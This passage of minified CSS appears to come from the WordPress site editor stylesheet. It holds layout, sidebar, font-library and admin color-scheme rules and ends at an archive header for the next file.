1rem;text-align:right}.edit-site-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-site-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.edit-site-layout{background:#1e1e1e;color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout__hub{height:60px;left:0;position:fixed;top:0;width:calc(100vw - 48px);z-index:3}.edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__hub{padding-right:0;width:60px}@media (min-width:782px){.edit-site-layout__hub{width:336px}}.edit-site-layout.is-full-canvas .edit-site-layout__hub{border-radius:0;box-shadow:none;padding-right:16px;width:100vw}@media (min-width:782px){.edit-site-layout.is-full-canvas .edit-site-layout__hub{padding-right:0;width:auto}}.edit-site-layout__header-container{z-index:4}.edit-site-layout__header{display:flex;height:60px;z-index:2}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{position:fixed;width:100vw}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:360px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;left:0;position:fixed!important;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{right:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__canvas-container{flex-grow:1;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:absolute;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas>div{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:24px;top:24px;width:calc(100% - 24px)}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{border-radius:8px}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{border-radius:0}.edit-site-layout__canvas .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-layout__view-mode-toggle.components-button{align-items:center;border-bottom:1px solid transparent;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__view-mode-toggle.components-button{border-bottom-color:#e0e0e0;transition:border-bottom-color .15s ease-out .4s}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus{box-shadow:none}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px;transition:box-shadow .1s ease}@media (prefers-reduced-motion:reduce){.edit-site-layout__view-mode-toggle.components-button:before{transition-delay:0s;transition-duration:0s}}.edit-site-layout__view-mode-toggle.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) hsla(0,0%,100%,.1),inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;border-radius:2px;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-left:1px solid #ddd}.edit-site-layout.has-fixed-toolbar .edit-site-layout__canvas-container{z-index:5}.edit-site-layout.has-fixed-toolbar .edit-site-site-hub{z-index:4}}@media (min-width:782px){.edit-site-layout.has-fixed-toolbar .edit-site-layout__header:focus-within{z-index:3}}.is-edit-mode.is-distraction-free .edit-site-layout__header-container{height:60px;left:0;position:absolute;right:0;top:0;width:100%;z-index:4}.is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within{opacity:1!important}.is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within div{transform:translateX(0) translateY(0) translateZ(0)!important}.is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{opacity:1!important}.is-edit-mode.is-distraction-free .edit-site-layout__header,.is-edit-mode.is-distraction-free .edit-site-site-hub{position:absolute;top:0;z-index:2}.is-edit-mode.is-distraction-free .edit-site-site-hub{z-index:3}.is-edit-mode.is-distraction-free .edit-site-layout__header{width:100%}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:20px 24px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{flex-grow:1;overflow-y:auto}.edit-site-sidebar__content .components-navigator-screen{display:flex;flex-direction:column;height:100%;scrollbar-color:transparent transparent;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform}.edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-track{background-color:transparent}.edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:transparent;border:3px solid transparent;border-radius:8px}.edit-site-sidebar__content .components-navigator-screen:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__content .components-navigator-screen:focus,.edit-site-sidebar__content .components-navigator-screen:focus-within,.edit-site-sidebar__content .components-navigator-screen:hover{scrollbar-color:#757575 transparent}@media (hover:none){.edit-site-sidebar__content .components-navigator-screen{scrollbar-color:#757575 transparent}}.edit-site-sidebar__footer{border-top:1px solid #2f2f2f;flex-shrink:0;margin:0 24px;padding:24px 0}.edit-site-sidebar__content>div{padding:0 12px}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));outline:3px solid transparent}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;border-radius:2px;color:#949494;min-height:40px;padding:8px 6px 8px 16px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{background:#2f2f2f;color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current]{background:var(--wp-admin-theme-color);color:#fff}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-right:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-item-group{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__meta{color:#ccc;margin:0 0 16px 16px}.edit-site-sidebar-navigation-screen__meta .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__page-link{color:#949494;display:inline-block}.edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{color:#fff}.edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{margin-left:4px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:108px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word;padding:6px 0 0}.edit-site-sidebar-navigation-screen__actions{flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{max-width:292px}}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #f0f0f0}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:16px 0;position:sticky}.edit-site-sidebar__notice{background:#2f2f2f;color:#ddd;margin:24px 0}.edit-site-sidebar__notice.is-dismissible{padding-right:8px}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){color:#ccc}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#fff}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;border-radius:2px;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{fill:#949494;margin-left:auto}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-page__featured-image-wrapper{background-color:#2f2f2f;border-radius:4px;margin-bottom:16px;min-height:128px}.edit-site-sidebar-navigation-screen-page__featured-image{align-items:center;background-position:50% 50%;background-size:cover;border-radius:2px;color:#949494;display:flex;height:128px;justify-content:center;overflow:hidden;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image img{height:100%;object-fit:cover;object-position:50% 50%;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image-description{font-size:12px}.edit-site-sidebar-navigation-screen-page__excerpt{font-size:12px;margin-bottom:24px}.edit-site-sidebar-navigation-screen-page__modified{color:#949494;margin:0 0 16px 16px}.edit-site-sidebar-navigation-screen-page__modified .components-text{color:#949494}.edit-site-sidebar-navigation-screen-page__status{display:inline-flex}.edit-site-sidebar-navigation-screen-page__status time{display:contents}.edit-site-sidebar-navigation-screen-page__status svg{fill:#f0b849;height:16px;margin-right:8px;width:16px}.edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{fill:#4ab866}.edit-site-sidebar-navigation-details-screen-panel{margin:24px 0}.edit-site-sidebar-navigation-details-screen-panel:last-of-type{margin-bottom:0}.edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{color:#ccc;font-size:11px;font-weight:500;margin-bottom:0;padding:0;text-transform:uppercase}.edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{color:#949494;flex-shrink:0;width:100px}.edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{color:#e0e0e0}.edit-site-sidebar-navigation-screen-pattern__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{border-radius:12px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{height:24px;margin-right:8px;width:24px}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-template__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-template__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-template__added-by-description-author img{border-radius:12px}.edit-site-sidebar-navigation-screen-template__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{height:24px;margin-right:8px;width:24px}.edit-site-sidebar-navigation-screen-template__template-area-button{align-items:center;border-radius:4px;color:#fff;display:flex;flex-wrap:nowrap;width:100%}.edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{background:#2f2f2f;color:#fff}.edit-site-sidebar-navigation-screen-template__template-area-label-text{flex-grow:1;margin:0 16px 0 4px}.edit-site-sidebar-navigation-screen-template__template-icon{display:flex}.edit-site-site-hub{align-items:center;display:flex;gap:8px;justify-content:space-between}.edit-site-site-hub .edit-site-site-hub__container{gap:0}.edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{transition:opacity .1s ease}.edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{opacity:0!important}.edit-site-site-hub .edit-site-site-hub__site-view-link{flex-grow:0;margin-right:var(--wp-admin-border-width-focus)}@media (min-width:480px){.edit-site-site-hub .edit-site-site-hub__site-view-link{opacity:0;transition:opacity .2s ease-in-out}}.edit-site-site-hub .edit-site-site-hub__site-view-link:focus{opacity:1}.edit-site-site-hub .edit-site-site-hub__site-view-link svg{fill:#e0e0e0}.edit-site-site-hub:hover .edit-site-site-hub__site-view-link{opacity:1}.edit-site-site-hub__post-type{opacity:.6}.edit-site-site-hub__view-mode-toggle-container{background:#1e1e1e;flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background{background:transparent}.edit-site-site-hub__text-content{overflow:hidden}.edit-site-site-hub__title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__site-title{color:#e0e0e0;flex-grow:1;margin-left:4px}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:hover{color:#f0f0f0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{border-radius:2px;max-width:calc(100% - 4px)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{margin-left:-8px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{background:transparent}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{color:inherit}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{opacity:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{opacity:1}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:transparent}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{width:100%}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-right:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-site-icon__icon{fill:currentColor}.edit-site-site-icon__image{background:#333;border-radius:4px;height:auto;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas.is-edit-mode .edit-site-site-icon__image{border-radius:0}.edit-site-style-book{height:100%}.edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tab-panel .components-tab-panel__tabs{background:#fff;color:#1e1e1e}.edit-site-style-book__tab-panel .components-tab-panel__tab-content{bottom:0;left:0;overflow:auto;padding:0;position:absolute;right:0;top:48px}.edit-site-editor-canvas-container{background:#fff;border-radius:2px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0;transition:all .3s}.edit-site-editor-canvas-container__close-button{background:#fff;position:absolute;right:8px;top:6px;z-index:1}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:hsla(0,0%,46%,.4);border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid transparent}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal__tab-layout main{padding-bottom:4rem}.font-library-modal__tab-layout footer{background-color:#fff;border-top:1px solid #e5e5e5;bottom:32px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__fonts-grid .font-library-modal__fonts-grid__main{display:flex;flex-direction:column}.font-library-modal__font-card{border:1px solid #e5e5e5;height:auto;margin-top:-1px;padding:1rem}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#6e6e6e}.font-library-modal__library-font-variant{border:1px solid #e5e5e5;margin-top:-1px;padding:1rem}.font-library-modal__font-variant{border-bottom:1px solid #e5e5e5;padding-bottom:1rem}.font-library-modal__tab-panel [role=tablist]{background:#fff;border-bottom:1px solid #e6e6e6;margin:0 -32px;padding:0 16px;position:sticky;top:0;width:calc(100% + 64px);z-index:1}.font-library-modal__upload-area{align-items:center;background-color:#f0f0f0;display:flex;height:250px;justify-content:center;width:100%}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#6e6e6e}.font-library-modal__local-fonts .font-library-modal__upload-area__notice{margin:0}.font-library-modal__font-name{font-weight:700}.font-library-modal__font-filename{color:#6e6e6e}.font-library-modal__font-variant_demo-wrapper{overflow:hidden;position:relative;white-space:nowrap;width:100%}.font-library-modal__font-variant_demo-wrapper:after{background:linear-gradient(90deg,hsla(0,0%,100%,0),#fff);bottom:0;content:"";height:100%;position:absolute;right:0;width:30vw}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center}.font-library__google-fonts-confirm h3{font-size:1.4rem}.font-library__google-fonts-confirm .components-card{max-width:350px;min-width:250px;width:50%}.font-library-modal__font-collection__notice{margin:0}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.components-modal__frame,.edit-site{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}.edit-site{height:100vh}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}.edit-site .interface-complementary-area__pin-unpin-item.components-button{display:none}.edit-site .interface-interface-skeleton__content{background-color:#1e1e1e}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/edit-site/style-rtl.css000064400000316543151202620300012642 0ustar00:root{ 